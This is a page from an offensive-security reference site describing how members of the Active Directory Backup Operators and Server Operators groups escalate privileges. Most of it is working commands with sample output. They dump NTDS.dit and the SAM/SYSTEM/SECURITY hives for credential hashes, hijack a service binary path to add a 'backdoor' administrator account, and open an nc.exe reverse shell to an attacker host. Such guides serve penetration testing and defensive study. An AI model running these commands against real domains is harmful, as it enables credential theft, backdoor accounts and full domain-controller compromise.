# Backup Operators and Server Operators Abuse

> Exploiting Backup Operators and Server Operators groups in AD to escalate privileges via registry manipulation, service abuse, and SAM database extraction.

- **URL:** https://hackindex.io/platforms/active-directory/privilege-escalation/backup-operators-and-server-operators
- **Path:** Active Directory > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

Backup Operators and Server Operators are built-in AD groups that sit below Domain Admins in visibility but carry enough rights to fully compromise a domain controller. Backup Operators can read any file on the system regardless of ACLs: including the NTDS database and registry hives. Server Operators can modify, stop, and start services: which translates directly to SYSTEM-level code execution by replacing a service binary path.

- Backup Operators: dump NTDS.dit via shadow copy, save SAM/SYSTEM/SECURITY hives
- Server Operators: replace service binary paths, start and stop services as SYSTEM
- Both groups: commonly assigned to service accounts and junior sysadmins

Both groups are commonly granted to service accounts, junior sysadmins, and backup software accounts. Check group membership during enumeration with [Object Enumeration](https://hackindex.io/platforms/active-directory/enumeration/active-directory-object-enumeration).

## Backup Operators: dump NTDS via nxc

nxc has a dedicated module that automates NTDS extraction for Backup Operators members. It creates a shadow copy, copies NTDS.dit and the SYSTEM hive, downloads them, and parses hashes: all in one pass.

**Dump NTDS as Backup Operator**

```bash
# Automated NTDS dump via backup_operator module
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M backup_operator

# Pass-the-Hash
nxc smb $TARGET_IP -u $USER -H $NTHASH -M backup_operator
# [*] Creating shadow copy
# [*] Copying NTDS.dit from shadow copy
# [*] Copying SYSTEM hive
# [*] Parsing hashes
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::
```

## Backup Operators: manual registry hive dump

When on the target directly via evil-winrm or a shell, save the SAM, SYSTEM, and SECURITY hives manually. These three files together contain all local account hashes and cached domain credentials.

**Save registry hives**

```powershell
# Save hives to disk: Backup Operators can always do this
reg save HKLM\SAM C:\Windows\Temp\SAM.hiv
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hiv
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hiv

# Download via evil-winrm
download C:\Windows\Temp\SAM.hiv
download C:\Windows\Temp\SYSTEM.hiv
download C:\Windows\Temp\SECURITY.hiv
# The operation completed successfully.
```

**Parse hives offline**

```bash
impacket-secretsdump -sam SAM.hiv -system SYSTEM.hiv -security SECURITY.hiv LOCAL
# [*] Target system bootKey: 0x3a1234...
# [*] Dumping local SAM hashes
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# [*] Dumping cached domain logon information
# corp.local/svc-backup:$DCC2$...
```

## Server Operators: service binary path hijack

Server Operators can change the binary path of any service and start or stop it. Replacing the binary path with a command that adds a local admin or drops a reverse shell executes as SYSTEM when the service starts. Target services that are already stopped or that can be safely stopped without disrupting the engagement.

**Identify and hijack a service binary path**

```powershell
# List running services: look for non-critical ones
sc.exe query type= all state= all

# Check current config of a target service
sc.exe qc $SERVICE_NAME

# Replace binary path with a backdoor command
sc.exe config $SERVICE_NAME binPath= "cmd.exe /c net user backdoor Password123! /add && net localgroup administrators backdoor /add"

# Restart service to execute
sc.exe stop $SERVICE_NAME
sc.exe start $SERVICE_NAME

# Verify new local admin was created
net localgroup administrators
# [SC] ChangeServiceConfig SUCCESS
#
# SERVICE_NAME: AppXSvc
#         TYPE               : 20  WIN32_SHARE_PROCESS
#         STATE              : 4  RUNNING
```

**Service binary path: reverse shell**

```powershell
# Stage nc.exe on target first (upload via evil-winrm or SMB)
sc.exe config $SERVICE_NAME binPath= "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd.exe"
sc.exe stop $SERVICE_NAME
sc.exe start $SERVICE_NAME
```

After execution, restore the original service binary path to avoid leaving a broken service. Use the config saved from `sc.exe qc` before making changes. With local admin or SYSTEM access on the DC, proceed to [DCSync and Domain Takeover](https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover) to dump all domain hashes.

## References

- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - backup_operator module for automated NTDS extraction
- [Impacket: GitHub](https://github.com/fortra/impacket) - secretsdump LOCAL for offline hive parsing